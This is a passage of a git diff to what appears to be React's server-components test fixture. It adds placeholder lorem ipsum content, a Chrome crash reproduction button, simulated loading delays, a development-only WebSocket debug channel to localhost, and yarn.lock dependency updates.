+        lectus bibendum, in gravida lectus dictum. Orci varius natoque penatibus
+        et magnis dis parturient montes, nascetur ridiculus mus. Curabitur
+        volutpat lectus quis magna interdum ornare.
+      </p>
+      <p>
+        Pellentesque rutrum maximus purus vitae commodo. Vivamus imperdiet vitae
+        mi sit amet cursus. Nullam bibendum consequat felis at tincidunt.
+        Quisque pellentesque diam leo, eget vestibulum risus gravida quis.
+        Phasellus ipsum sapien, scelerisque eget nisi eu, sodales fringilla est.
+        Nam purus lacus, euismod eget sem et, accumsan auctor lectus. Sed
+        porttitor ex non nunc commodo, et posuere erat hendrerit. Praesent eu
+        dolor id dolor ullamcorper cursus at eu risus. Nam tincidunt, ipsum in
+        tempus tristique, neque quam tempus mauris, quis fringilla quam purus
+        vitae elit. Maecenas finibus efficitur consequat. Curabitur et suscipit
+        nibh. Cras eleifend ultricies molestie.
+      </p>
+      <p>
+        Fusce eu hendrerit nisl. Etiam at arcu in nisl aliquam ultricies sit
+        amet ut orci. Class aptent taciti sociosqu ad litora torquent per
+        conubia nostra, per inceptos himenaeos. Quisque volutpat ex quis ante
+        lobortis dignissim. Fusce pulvinar sodales aliquam. Mauris felis augue,
+        vulputate non nunc vitae, mollis volutpat odio. Suspendisse lobortis
+        ligula nec dolor hendrerit aliquet.
+      </p>
+      <p>
+        Suspendisse gravida, diam vitae rutrum varius, mauris erat lacinia mi,
+        non fringilla nisi lorem eget lectus. Suspendisse iaculis condimentum
+        eros, quis sodales turpis maximus ut. Sed congue posuere mi at congue.
+        Phasellus eget lacus vitae urna molestie aliquet sed sed felis. Donec
+        fermentum urna at dolor condimentum consectetur. Aenean sed pretium
+        tortor. Suspendisse sed lectus risus. Sed sapien erat, tincidunt
+        scelerisque urna vitae, congue condimentum est. Mauris eget urna id
+        purus vestibulum lacinia ut non augue. Nunc id elementum nisi, interdum
+        sollicitudin neque. Pellentesque massa risus, varius nec leo nec, mollis
+        cursus nisl. Mauris aliquet hendrerit risus. Vestibulum congue interdum
+        massa, ac ultrices nibh mollis id. Phasellus justo lorem, malesuada sit
+        amet accumsan vel, mollis ut urna.
+      </p>
+      <p>
+        Curabitur nec tortor sodales, maximus diam in, efficitur quam. Ut rutrum
+        mi id libero tristique luctus. Phasellus et neque sollicitudin purus
+        interdum dapibus eget at ex. Duis non mi at massa molestie tempor a sed
+        tortor. In placerat metus nec condimentum fermentum. Maecenas varius
+        velit in velit tempus dignissim fermentum id justo. Pellentesque
+        dignissim tempus porttitor. Fusce scelerisque bibendum sagittis. Donec
+        tristique tellus ut placerat auctor. Nunc porta tempus risus, at maximus
+        quam lobortis id.
+      </p>
+      <p>
+        Vivamus volutpat tortor sed justo lobortis porttitor. Etiam a aliquam
+        lorem. Nullam rutrum accumsan augue, eget sagittis tellus posuere nec.
+        Aliquam dignissim urna at tellus blandit fermentum. Nunc fermentum justo
+        ut odio pharetra fringilla. Nunc aliquet eleifend magna nec mattis.
+        Pellentesque ac tristique dui. Suspendisse nec nunc et lorem tincidunt
+        congue egestas nec tortor. Suspendisse tincidunt eros felis, nec
+        ultricies turpis varius ut. Morbi leo sapien, eleifend vitae aliquet at,
+        suscipit ut arcu. Nulla pretium placerat nunc, quis tempus lorem semper
+        sit amet. Vestibulum tempus, libero ut ultricies egestas, nisi ex mollis
+        diam, vel porta nisl augue vitae nulla. Nullam ante ipsum, convallis
+        finibus sem id, hendrerit ultrices velit. Praesent tincidunt, urna ac
+        viverra facilisis, nisi massa eleifend sapien, ac congue leo ex vitae
+        lorem. Cras at pulvinar elit, non vestibulum urna.
+      </p>
+      <p>
+        Quisque consectetur posuere erat, eget finibus turpis semper in. Ut
+        commodo leo turpis, a elementum tortor lacinia id. Nunc tempor ligula eu
+        nunc semper porta. Maecenas luctus turpis in justo faucibus iaculis.
+        Integer rutrum, nunc ac tincidunt pellentesque, velit ipsum gravida
+        urna, a pretium nunc eros eget dui. Phasellus maximus consectetur elit,
+        in fermentum odio interdum id. In feugiat tincidunt semper. Phasellus
+        porta ultricies orci a gravida. Etiam lobortis velit sapien, vitae
+        consectetur felis laoreet at. Morbi ac metus velit. Aliquam mollis neque
+        at purus tempus lobortis.
+      </p>
+      <p>
+        Ut ornare justo nec euismod iaculis. Orci varius natoque penatibus et
+        magnis dis parturient montes, nascetur ridiculus mus. In sit amet
+        tristique sem. Donec ut tincidunt eros, nec sagittis risus. Morbi at
+        tellus leo. Cras eu feugiat velit. Praesent a fermentum urna, eget
+        dapibus felis. Nullam tempor dictum neque semper faucibus. Vestibulum et
+        sem accumsan, dignissim metus quis, pretium massa. Proin vestibulum
+        convallis ante, at tempor metus rhoncus vitae. Nunc bibendum nisi ac
+        magna viverra condimentum. Sed vehicula neque ex, ut auctor leo mollis
+        eu. Etiam dapibus pellentesque diam, eget cursus odio. Proin sit amet
+        eleifend est. In eget ex vitae tellus mattis dictum.
+      </p>
+      <p>
+        Vestibulum ullamcorper ut felis vitae placerat. Proin suscipit orci
+        sapien, in tincidunt magna tempor at. Proin ut dui sed sapien mattis
+        sollicitudin. Aliquam id velit vitae nunc tincidunt sagittis vitae ut
+        enim. Nulla vulputate placerat mollis. Nullam facilisis nulla iaculis
+        risus molestie pulvinar. Quisque iaculis, dui eget vulputate auctor,
+        lacus turpis ultricies diam, vel faucibus sem nulla quis orci. Nulla et
+        commodo massa.
+      </p>
+      <p>
+        Proin aliquet purus ut eros tincidunt dignissim. Phasellus vel diam quis
+        elit malesuada dignissim. Pellentesque habitant morbi tristique senectus
+        et netus et malesuada fames ac turpis egestas. Sed pretium at purus sed
+        tempus. Curabitur pulvinar euismod augue, sed convallis sem tempus
+        fringilla. Curabitur a dictum arcu. Vivamus finibus ante nec ante
+        consequat venenatis. Nulla mi magna, placerat ut laoreet non, lobortis
+        nec lorem. Curabitur quis pharetra arcu. Sed sit amet diam in diam
+        tincidunt iaculis eget a leo. Fusce laoreet felis vitae tristique
+        efficitur. Fusce feugiat risus non mi scelerisque, nec fringilla risus
+        efficitur. Aenean arcu enim, condimentum a neque scelerisque, dignissim
+        gravida quam. Praesent viverra euismod sapien, quis tristique diam
+        dictum id.
+      </p>
+      <p>
+        Fusce convallis vulputate justo in egestas. Proin at dui volutpat,
+        eleifend lectus at, pretium nulla. Mauris mi ex, rhoncus non sodales
+        nec, volutpat vel libero. Praesent nisl tellus, egestas non sem a,
+        malesuada tincidunt magna. Integer condimentum, lacus nec mattis luctus,
+        urna risus tristique nibh, nec euismod sapien eros a ex. Morbi pharetra,
+        ex eget dapibus aliquam, ligula leo semper turpis, sit amet ullamcorper
+        tortor mi sed neque. Proin congue velit urna, a viverra elit consectetur
+        et. Pellentesque turpis massa, iaculis maximus nibh ac, elementum
+        aliquet sapien. Aliquam at nulla nec nisi accumsan pharetra ac a velit.
+      </p>
+      <p>
+        Quisque ac vulputate sapien, nec suscipit augue. Integer vehicula
+        convallis faucibus. Fusce nec felis auctor, scelerisque augue sit amet,
+        vulputate risus. Nullam suscipit blandit mauris sed ultricies. Sed non
+        magna non lorem molestie vestibulum. Proin dictum malesuada nisl, nec
+        efficitur ipsum venenatis et. Nulla non sapien et tortor ultricies
+        vulputate et id turpis. Etiam consectetur suscipit quam, in fermentum
+        augue tincidunt eget. Nullam mattis gravida gravida. Sed posuere quam at
+        accumsan maximus. Nam commodo elit eu sem dapibus, a ullamcorper tortor
+        elementum. Vivamus et sapien in nibh bibendum semper vel eget lorem. Sed
+        nec risus erat.
+      </p>
+      <p>
+        Sed porttitor elementum tempor. Integer egestas scelerisque turpis ut
+        consectetur. Integer eu nisl nisi. Nunc nec ligula eget neque dapibus
+        feugiat sit amet quis turpis. Nullam volutpat consequat est, et tempor
+        neque egestas vel. In sit amet massa sem. Sed nibh libero, elementum ac
+        maximus a, fringilla vel leo. Praesent at sapien ultrices, interdum elit
+        eget, scelerisque risus.
+      </p>
+      <p>
+        Morbi dictum urna sit amet augue fringilla pellentesque vitae vitae
+        dolor. Aliquam dignissim, odio nec blandit tempor, diam nulla blandit
+        urna, nec sagittis sapien libero id libero. Ut libero sem, ultrices non
+        viverra non, iaculis sed magna. Aenean at dignissim turpis. Donec nibh
+        dolor, sodales vitae mollis ut, sodales nec arcu. Sed vitae nunc
+        ullamcorper augue fermentum tincidunt et et sem. Proin erat dolor,
+        venenatis non leo eget, cursus facilisis urna. Ut non orci sollicitudin,
+        blandit neque et, molestie ipsum. Pellentesque finibus, nulla vitae
+        lobortis luctus, magna est ultrices est, ut aliquam elit nisi sit amet
+        nisl. Suspendisse id sodales nunc. Maecenas tempus mattis diam ac
+        feugiat. Donec quis efficitur lorem. Vestibulum lobortis dapibus sem, a
+        ultricies quam feugiat non. Pellentesque consectetur semper nunc non
+        iaculis.
+      </p>
+      <p>
+        Nulla ullamcorper eros nec ullamcorper pharetra. Quisque eget mi rutrum
+        nunc hendrerit porta vel nec ex. Sed lacinia arcu ex, eu faucibus ante
+        porta quis. Phasellus vitae tincidunt enim. Nunc in purus in justo
+        luctus dignissim. In pellentesque, lorem id dictum consectetur, dolor
+        massa sodales tellus, eget efficitur odio nunc vestibulum nunc. Donec
+        sit amet quam eget erat convallis fringilla. Etiam at pretium sem.
+        Mauris hendrerit justo mauris, ut ornare felis condimentum eu.
+        Pellentesque habitant morbi tristique senectus et netus et malesuada
+        fames ac turpis egestas.
+      </p>
+      <p>
+        Cras ut lectus lacus. In maximus, lectus sit amet ultrices venenatis,
+        quam urna feugiat velit, vel tempor libero est ut diam. Praesent et
+        ligula sit amet leo egestas vulputate eget non lorem. Integer a diam ac
+        justo molestie feugiat vel bibendum diam. Donec aliquam, magna vulputate
+        auctor volutpat, sem nunc pharetra libero, at condimentum purus tortor a
+        magna. Maecenas non mollis arcu. Aliquam vulputate neque at lectus
+        gravida sodales.
+      </p>
+      <p>
+        Sed sit amet maximus lectus. Fusce id lorem quis mi sodales varius a
+        quis justo. Proin est dui, porta non nisl sodales, feugiat faucibus
+        nisl. Sed id ex consectetur, faucibus eros sit amet, efficitur quam. Ut
+        vitae venenatis urna, non convallis magna. Integer dapibus ac sem eget
+        dictum. Integer ut nisi tincidunt, sollicitudin dui vel, faucibus purus.
+        Nunc rhoncus turpis eget sem commodo, eu ornare lorem vulputate.
+        Praesent libero nunc, lacinia sit amet lectus vitae, eleifend hendrerit
+        diam. In nec lacus mattis, rutrum orci fermentum, vestibulum eros. Nunc
+        a lobortis purus.
+      </p>
+      <p>
+        Duis nisl diam, pharetra non leo id, facilisis sollicitudin tortor.
+        Donec efficitur augue lorem, lacinia scelerisque magna eleifend in.
+        Nulla vestibulum dolor nec fermentum maximus. Maecenas facilisis, nisi
+        at tempor eleifend, quam tortor ultricies tellus, id convallis enim
+        dolor nec sapien. Pellentesque sed blandit est. Morbi eu nisi
+        sollicitudin, elementum libero et, tempor justo. Donec et justo quis
+        dolor semper tempus et at arcu. Donec in sem id erat maximus feugiat.
+        Cras ultricies nisi turpis, vitae tincidunt sapien mollis ac. Maecenas
+        efficitur sed lectus a ullamcorper. Ut lacus tellus, viverra vel
+        consequat et, suscipit a urna. Proin id ultricies arcu. Etiam non
+        condimentum enim, sodales laoreet orci.
+      </p>
+      <p>
+        Aliquam bibendum bibendum ornare. Aliquam ultricies diam quis dui
+        maximus, nec dictum velit convallis. Proin tempor scelerisque libero ac
+        convallis. Cras sollicitudin dignissim ipsum quis iaculis. Sed aliquam
+        congue magna, vitae malesuada ipsum dignissim porttitor. Maecenas libero
+        ante, faucibus nec pretium ut, sollicitudin sit amet neque. Donec
+        sodales risus neque, a tincidunt purus ultrices quis. In mattis nisi
+        ipsum, et lacinia dui suscipit ac. Donec dictum, dolor id tincidunt
+        accumsan, tortor lorem posuere nisl, id consequat dui nisi fringilla
+        nisi. Fusce arcu justo, ornare nec vehicula eget, egestas tincidunt
+        lorem. Nunc dignissim lobortis velit, id efficitur magna aliquam id.
+        Donec at massa at purus elementum ornare. Cras id finibus sapien. In hac
+        habitasse platea dictumst.
+      </p>
+      <p>
+        Class aptent taciti sociosqu ad litora torquent per conubia nostra, per
+        inceptos himenaeos. Nunc et urna leo. Etiam mattis ornare eros. Etiam
+        aliquet nibh orci, in iaculis orci pretium id. Etiam nibh elit, viverra
+        non viverra eu, imperdiet eu tellus. Pellentesque lobortis leo a finibus
+        cursus. Orci varius natoque penatibus et magnis dis parturient montes,
+        nascetur ridiculus mus. Donec tristique tempor tristique. Morbi iaculis
+        posuere aliquet. Donec mattis sed dui a fringilla. Sed urna tellus,
+        pulvinar in mollis ut, congue vel risus.
+      </p>
+      <p>
+        Nullam scelerisque quam at lorem tempus, sed vulputate dui venenatis.
+        Donec porttitor, tellus at vehicula laoreet, lacus nulla consectetur
+        nisi, ut posuere massa turpis a arcu. Quisque tellus arcu, consectetur
+        vitae molestie eu, posuere vitae nunc. Sed vestibulum justo ultricies
+        magna rutrum molestie. Pellentesque lobortis erat vel fermentum
+        faucibus. Phasellus in arcu sit amet quam tincidunt sollicitudin quis
+        sed ipsum. Nullam bibendum ac metus et mollis. Nunc tempor vel mi id
+        fermentum. Morbi maximus turpis lobortis, pretium nibh ac, blandit
+        metus. In elementum nisl ac ex maximus, in commodo libero egestas. Morbi
+        molestie cursus massa, laoreet tempor tortor vestibulum venenatis.
+        Curabitur semper fringilla dolor, ut sagittis lorem elementum ut.
+      </p>
+      <p>
+        Duis porttitor massa nulla, id congue erat luctus at. Aliquam id
+        tristique quam. Morbi pharetra scelerisque elit. Donec porttitor ipsum
+        vitae risus hendrerit faucibus. Praesent finibus placerat leo nec
+        facilisis. Vestibulum ante ipsum primis in faucibus orci luctus et
+        ultrices posuere cubilia curae; Proin molestie interdum turpis id
+        ornare. Ut vestibulum libero in magna porta, sed porta dolor viverra.
+      </p>
+      <p>
+        Duis eget congue orci, ac malesuada leo. Fusce ut mattis nibh. Ut
+        pretium lectus in neque hendrerit, ut eleifend neque ultrices. Nam id
+        sollicitudin est. Suspendisse eget vehicula urna, a eleifend diam.
+        Aenean nibh nisl, finibus ullamcorper cursus sit amet, efficitur gravida
+        nulla. Proin leo massa, volutpat sit amet dolor ut, suscipit rutrum
+        justo. Proin nec elit blandit, porttitor ipsum sed, sodales ipsum. In
+        venenatis dolor lacus. Vestibulum et volutpat augue. Cras vehicula sem
+        ac augue vestibulum, id feugiat elit consectetur. Nullam consectetur
+        elit enim, eget aliquam eros venenatis eget.
+      </p>
+      <p>
+        Donec sodales ipsum ut ante aliquam, non molestie massa faucibus.
+        Aliquam eget vehicula metus. Aenean lacinia nulla quis nulla ultricies
+        tristique. Vestibulum sit amet consequat nunc. Nullam sagittis dolor at
+        sodales varius. Integer odio eros, sodales quis orci id, commodo luctus
+        diam. Nullam dapibus ullamcorper lobortis. Suspendisse posuere ipsum
+        ipsum, ac ultrices quam porttitor quis. Maecenas auctor justo et egestas
+        congue. Etiam pharetra libero eget nisl rhoncus congue. Cras vehicula
+        dolor finibus tortor dignissim ultrices.
+      </p>
+      <p>
+        Vestibulum quis aliquet neque, non pretium ligula. Donec imperdiet
+        tellus nec dolor accumsan, at congue ante euismod. Praesent egestas ac
+        lectus in auctor. Praesent euismod faucibus enim eget vulputate. Lorem
+        ipsum dolor sit amet, consectetur adipiscing elit. Nunc vitae convallis
+        tortor. Sed eleifend tellus quis nisl faucibus, sit amet aliquet tellus
+        placerat. Morbi ultrices enim mauris, et tincidunt lorem semper sed.
+      </p>
+      <p>
+        Duis tincidunt ligula lacus, a cursus tortor tincidunt ac. Duis nulla
+        nulla, viverra sit amet augue vitae, lobortis consequat nibh. Morbi
+        dignissim, est nec consequat elementum, dolor est tempus velit, eu
+        laoreet mauris nibh eu nunc. Aenean finibus at justo eget consectetur.
+        Nam cursus sem felis, vitae blandit quam tincidunt sed. Praesent
+        bibendum luctus enim ut tempor. Phasellus tincidunt lectus vel laoreet
+        elementum. Maecenas sed quam sodales, porttitor augue in, faucibus eros.
+        Cras lacinia tortor sed lacus auctor, sit amet imperdiet dolor
+        hendrerit.
+      </p>
+      <p>
+        Aliquam vel porta libero. In nec aliquam nisi. Donec pulvinar sapien
+        lacus, eu condimentum enim vestibulum eu. Aliquam erat volutpat. Aliquam
+        erat volutpat. Integer ac nisl ipsum. Nulla at congue quam. Etiam nec
+        libero ac dolor efficitur sodales ut et diam. Cras in sodales dolor.
+        Quisque elementum mattis elit non sagittis.
+      </p>
+      <p>
+        Aliquam maximus nisl semper tristique blandit. Vivamus et porttitor
+        urna. Nulla facilisi. Nullam vitae condimentum purus. Lorem ipsum dolor
+        sit amet, consectetur adipiscing elit. Nulla dignissim dolor id felis
+        pellentesque, quis sodales dolor tincidunt. Morbi non posuere est.
+        Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere
+        cubilia curae;
+      </p>
+      <p>
+        Fusce nec metus sit amet ligula pulvinar lobortis. Suspendisse dictum
+        lorem vitae quam tempor facilisis. Duis cursus eu lacus in volutpat.
+        Suspendisse fermentum nulla a purus vestibulum, in blandit lacus
+        hendrerit. Praesent rhoncus, nulla non varius dapibus, sapien nulla
+        blandit lorem, a aliquet ex ligula a sapien. Vivamus ac tortor
+        ultricies, molestie ex vitae, placerat elit. Ut lobortis nisl nec sapien
+        pretium ullamcorper convallis sed tortor. Suspendisse blandit urna eu
+        dolor pharetra, a pretium nibh consequat. Integer at vulputate erat. Nam
+        in mi urna. Aenean lectus mauris, condimentum in porttitor et, posuere
+        vitae elit. Aenean tempor ipsum ut pharetra porta.
+      </p>
+      <p>
+        Fusce efficitur elementum lectus, vitae euismod leo luctus quis. Duis
+        faucibus, metus non rhoncus ornare, neque sapien pretium nisi, ut
+        ullamcorper massa justo at turpis. Maecenas vestibulum facilisis nulla
+        vel tristique. Aliquam vitae mi dolor. Aliquam imperdiet ullamcorper
+        auctor. Sed nibh nulla, imperdiet vel sagittis in, dapibus a turpis. Ut
+        pulvinar ac dolor ac euismod. Morbi quis euismod nisl, sagittis interdum
+        velit. Integer condimentum quam ac quam malesuada, in ultrices risus
+        pulvinar.
+      </p>
+    </div>
+  );
+}
diff --git a/fixtures/flight/src/Navigate.js b/fixtures/flight/src/Navigate.js
new file mode 100644
index 000000000000..4436b9fdf7d2
--- /dev/null
+++ b/fixtures/flight/src/Navigate.js
@@ -0,0 +1,40 @@
+'use client';
+
+import * as React from 'react';
+import Container from './Container.js';
+
+export function Navigate() {
+  /** Repro for https://issues.chromium.org/u/1/issues/419746417 */
+  function provokeChromeCrash() {
+    React.startTransition(async () => {
+      console.log('Default transition triggered');
+
+      await new Promise(resolve => {
+        setTimeout(
+          () => {
+            history.pushState(
+              {},
+              '',
+              `?chrome-crash-419746417=${performance.now()}`
+            );
+          },
+          // This needs to happen before React's default transition indicator
+          // is displayed but after it's scheduled.
+          100 + -50
+        );
+
+        setTimeout(() => {
+          console.log('Default transition completed');
+          resolve();
+        }, 1000);
+      });
+    });
+  }
+
+  return (
+    <Container>
+      <h2>Navigation fixture</h2>
+      <button onClick={provokeChromeCrash}>Provoke Chrome Crash (fixed)</button>
+    </Container>
+  );
+}
diff --git a/fixtures/flight/src/actions.js b/fixtures/flight/src/actions.js
index aa19871a9dcb..0b9b9c315d64 100644
--- a/fixtures/flight/src/actions.js
+++ b/fixtures/flight/src/actions.js
@@ -2,7 +2,13 @@
 
 import {setServerState} from './ServerState.js';
 
+async function sleep(ms) {
+  return new Promise(resolve => setTimeout(resolve, ms));
+}
+
 export async function like() {
+  // Test loading state
+  await sleep(1000);
   setServerState('Liked!');
   return new Promise((resolve, reject) => resolve('Liked'));
 }
@@ -20,5 +26,7 @@ export async function greet(formData) {
 }
 
 export async function increment(n) {
+  // Test loading state
+  await sleep(1000);
   return n + 1;
 }
diff --git a/fixtures/flight/src/index.js b/fixtures/flight/src/index.js
index b4b538a3a999..7692f9fc8e8e 100644
--- a/fixtures/flight/src/index.js
+++ b/fixtures/flight/src/index.js
@@ -1,22 +1,97 @@
-import * as React from 'react';
-import {use, Suspense, useState, startTransition} from 'react';
+import {use, Suspense, useState, startTransition, Profiler} from 'react';
 import ReactDOM from 'react-dom/client';
 import {createFromFetch, encodeReply} from 'react-server-dom-webpack/client';
 
 // TODO: This should be a dependency of the App but we haven't implemented CSS in Node yet.
 import './style.css';
 
-let updateRoot;
-async function callServer(id, args) {
-  const response = fetch('/', {
-    method: 'POST',
-    headers: {
-      Accept: 'text/x-component',
-      'rsc-action': id,
+function findSourceMapURL(fileName) {
+  return (
+    document.location.origin +
+    '/source-maps?name=' +
+    encodeURIComponent(fileName)
+  );
+}
+
+async function createWebSocketStream(url) {
+  const ws = new WebSocket(url);
+  ws.binaryType = 'arraybuffer';
+
+  await new Promise((resolve, reject) => {
+    ws.addEventListener('open', resolve, {once: true});
+    ws.addEventListener('error', reject, {once: true});
+  });
+
+  const writable = new WritableStream({
+    write(chunk) {
+      ws.send(chunk);
+    },
+    close() {
+      ws.close();
+    },
+    abort(reason) {
+      ws.close(1000, reason && String(reason));
     },
-    body: await encodeReply(args),
   });
-  const {returnValue, root} = await createFromFetch(response, {callServer});
+
+  const readable = new ReadableStream({
+    start(controller) {
+      ws.addEventListener('message', event => {
+        controller.enqueue(event.data);
+      });
+      ws.addEventListener('close', () => {
+        controller.close();
+      });
+      ws.addEventListener('error', err => {
+        controller.error(err);
+      });
+    },
+  });
+
+  return {readable, writable};
+}
+
+let updateRoot;
+async function callServer(id, args) {
+  let response;
+  if (process.env.NODE_ENV === 'development') {
+    const requestId = crypto.randomUUID();
+    const debugChannel = await createWebSocketStream(
+      `ws://localhost:3001/debug-channel?id=${requestId}`
+    );
+    response = createFromFetch(
+      fetch('/', {
+        method: 'POST',
+        headers: {
+          Accept: 'text/x-component',
+          'rsc-action': id,
+          'rsc-request-id': requestId,
+        },
+        body: await encodeReply(args),
+      }),
+      {
+        callServer,
+        debugChannel,
+        findSourceMapURL,
+      }
+    );
+  } else {
+    response = createFromFetch(
+      fetch('/', {
+        method: 'POST',
+        headers: {
+          Accept: 'text/x-component',
+          'rsc-action': id,
+        },
+        body: await encodeReply(args),
+      }),
+      {
+        callServer,
+        findSourceMapURL,
+      }
+    );
+  }
+  const {returnValue, root} = await response;
   // Refresh the tree with the new RSC payload.
   startTransition(() => {
     updateRoot(root);
@@ -31,32 +106,54 @@ function Shell({data}) {
 }
 
 async function hydrateApp() {
-  const {root, returnValue, formState} = await createFromFetch(
-    fetch('/', {
-      headers: {
-        Accept: 'text/x-component',
-      },
-    }),
+  let response;
+  if (process.env.NODE_ENV === 'development') {
+    const requestId = crypto.randomUUID();
+    const debugChannel = await createWebSocketStream(
+      `ws://localhost:3001/debug-channel?id=${requestId}`
+    );
+    response = createFromFetch(
+      fetch('/', {
+        headers: {
+          Accept: 'text/x-component',
+          'rsc-request-id': requestId,
+        },
+      }),
+      {
+        callServer,
+        debugChannel,
+        findSourceMapURL,
+      }
+    );
+  } else {
+    response = createFromFetch(
+      fetch('/', {
+        headers: {
+          Accept: 'text/x-component',
+        },
+      }),
+      {
+        callServer,
+        findSourceMapURL,
+      }
+    );
+  }
+  const {root, returnValue, formState} = await response;
+
+  ReactDOM.hydrateRoot(
+    document,
+    <Profiler id="root">
+      <Shell data={root} />
+    </Profiler>,
     {
-      callServer,
-      findSourceMapURL(fileName) {
-        return (
-          document.location.origin +
-          '/source-maps?name=' +
-          encodeURIComponent(fileName)
-        );
-      },
+      // TODO: This part doesn't actually work because the server only returns
+      // form state during the request that submitted the form. Which means it
+      // the state needs to be transported as part of the HTML stream. We intend
+      // to add a feature to Fizz for this, but for now it's up to the
+      // metaframework to implement correctly.
+      formState: formState,
     }
   );
-
-  ReactDOM.hydrateRoot(document, <Shell data={root} />, {
-    // TODO: This part doesn't actually work because the server only returns
-    // form state during the request that submitted the form. Which means it
-    // the state needs to be transported as part of the HTML stream. We intend
-    // to add a feature to Fizz for this, but for now it's up to the
-    // metaframework to implement correctly.
-    formState: formState,
-  });
 }
 
 // Remove this line to simulate MPA behavior
diff --git a/fixtures/flight/src/library.js b/fixtures/flight/src/library.js
new file mode 100644
index 000000000000..744205d1c40f
--- /dev/null
+++ b/fixtures/flight/src/library.js
@@ -0,0 +1,9 @@
+export async function sdkMethod(input, init) {
+  return fetch(input, init).then(async response => {
+    await new Promise(resolve => {
+      setTimeout(resolve, 10);
+    });
+
+    return response;
+  });
+}
diff --git a/fixtures/flight/yarn.lock b/fixtures/flight/yarn.lock
index f007e75761d7..3acf46a0a008 100644
--- a/fixtures/flight/yarn.lock
+++ b/fixtures/flight/yarn.lock
@@ -7,6 +7,11 @@
   resolved "https://registry.yarnpkg.com/@adobe/css-tools/-/css-tools-4.3.2.tgz#a6abc715fb6884851fca9dad37fc34739a04fd11"
   integrity sha512-DA5a1C0gD/pLOvhv33YMrbf2FK3oUzwNl9oOJqE4XVjuEtt6XIakRcsd7eLiOSPkp1kTRQGICTA8cKra/vFbjw==
 
+"@alloc/quick-lru@^5.2.0":
+  version "5.2.0"
+  resolved "https://registry.yarnpkg.com/@alloc/quick-lru/-/quick-lru-5.2.0.tgz#7bf68b20c0a350f936915fcae06f58e32007ce30"
+  integrity sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==
+
 "@ampproject/remapping@^2.1.0":
   version "2.2.0"
   resolved "https://registry.yarnpkg.com/@ampproject/remapping/-/remapping-2.2.0.tgz#56c133824780de3174aed5ab6834f3026790154d"
@@ -2379,6 +2384,23 @@
   resolved "https://registry.yarnpkg.com/@csstools/selector-specificity/-/selector-specificity-2.0.2.tgz#1bfafe4b7ed0f3e4105837e056e0a89b108ebe36"
   integrity sha512-IkpVW/ehM1hWKln4fCA3NzJU8KwD+kIOvPZA4cqxoJHtE21CCzjyp+Kxbu0i5I4tBNOlXPL9mjwnWlL0VEG4Fg==
 
+"@fastify/busboy@^2.0.0":
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/@fastify/busboy/-/busboy-2.1.1.tgz#b9da6a878a371829a0502c9b6c1c143ef6663f4d"
+  integrity sha512-vBZP4NlzfOlerQTnba4aqZoMhE/a9HY7HRqoOPaETQcSQuWEIyZMHGfVu6w9wGtGK5fED5qRs2DteVCjOH60sA==
+
+"@isaacs/cliui@^8.0.2":
+  version "8.0.2"
+  resolved "https://registry.yarnpkg.com/@isaacs/cliui/-/cliui-8.0.2.tgz#b37667b7bc181c168782259bab42474fbf52b550"
+  integrity sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==
+  dependencies:
+    string-width "^5.1.2"
+    string-width-cjs "npm:string-width@^4.2.0"
+    strip-ansi "^7.0.1"
+    strip-ansi-cjs "npm:strip-ansi@^6.0.1"
+    wrap-ansi "^8.1.0"
+    wrap-ansi-cjs "npm:wrap-ansi@^7.0.0"
+
 "@istanbuljs/load-nyc-config@^1.0.0":
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz#fd3db1d59ecf7cf121e80650bb86712f9b55eced"
@@ -2620,7 +2642,7 @@
     "@jridgewell/set-array" "^1.0.0"
     "@jridgewell/sourcemap-codec" "^1.4.10"
 
-"@jridgewell/gen-mapping@^0.3.0", "@jridgewell/gen-mapping@^0.3.2":
+"@jridgewell/gen-mapping@^0.3.2":
   version "0.3.2"
   resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz#c1aedc61e853f2bb9f5dfe6d4442d3b565b253b9"
   integrity sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==
@@ -2629,36 +2651,52 @@
     "@jridgewell/sourcemap-codec" "^1.4.10"
     "@jridgewell/trace-mapping" "^0.3.9"
 
+"@jridgewell/gen-mapping@^0.3.5":
+  version "0.3.5"
+  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.5.tgz#dcce6aff74bdf6dad1a95802b69b04a2fcb1fb36"
+  integrity sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==
+  dependencies:
+    "@jridgewell/set-array" "^1.2.1"
+    "@jridgewell/sourcemap-codec" "^1.4.10"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
 "@jridgewell/resolve-uri@3.1.0", "@jridgewell/resolve-uri@^3.0.3":
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz#2203b118c157721addfe69d47b70465463066d78"
   integrity sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==
 
+"@jridgewell/resolve-uri@^3.1.0":
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz#7a0ee601f60f99a20c7c7c5ff0c80388c1189bd6"
+  integrity sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==
+
 "@jridgewell/set-array@^1.0.0", "@jridgewell/set-array@^1.0.1":
   version "1.1.2"
   resolved "https://registry.yarnpkg.com/@jridgewell/set-array/-/set-array-1.1.2.tgz#7c6cf998d6d20b914c0a55a91ae928ff25965e72"
